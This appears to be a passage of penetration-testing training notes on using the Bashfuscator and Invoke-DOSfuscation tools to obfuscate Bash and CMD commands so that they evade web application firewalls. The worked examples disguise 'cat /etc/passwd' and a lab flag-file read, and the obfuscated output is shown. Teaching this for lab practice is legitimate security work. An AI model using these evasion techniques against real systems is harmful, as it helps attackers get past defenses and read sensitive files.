Evasion Tools

Automated obfuscation tools are useful when manual techniques are insufficient against advanced WAFs.

Bashfuscator (Linux)

Obfuscates Bash commands using multiple automated techniques.

Install:

git clone https://github.com/Bashfuscator/Bashfuscator
cd Bashfuscator
pip3 install setuptools==65
python3 setup.py install --user

Basic usage:

cd ./bashfuscator/bin/
./bashfuscator -c 'cat /etc/passwd'

Random technique selection can produce payloads from a few hundred to over a million characters. Constrain output with flags:

./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
# Example output:
# eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"

Test the output locally before using in a payload:

bash -c '<obfuscated payload here>'

Use -h to see all available flags.

DOSfuscation (Windows)

Interactive PowerShell tool for obfuscating Windows CMD commands.

Install and launch:

git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation

Example session:

Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt
Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

Produces environment-variable-based obfuscation:

typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

Verify locally in CMD before using:

typ%TEMP:~-3,-2% ...
# test_flag

Run on Linux without a Windows VM using pwsh (PowerShell for Linux). Use tutorial within the tool for a usage walkthrough.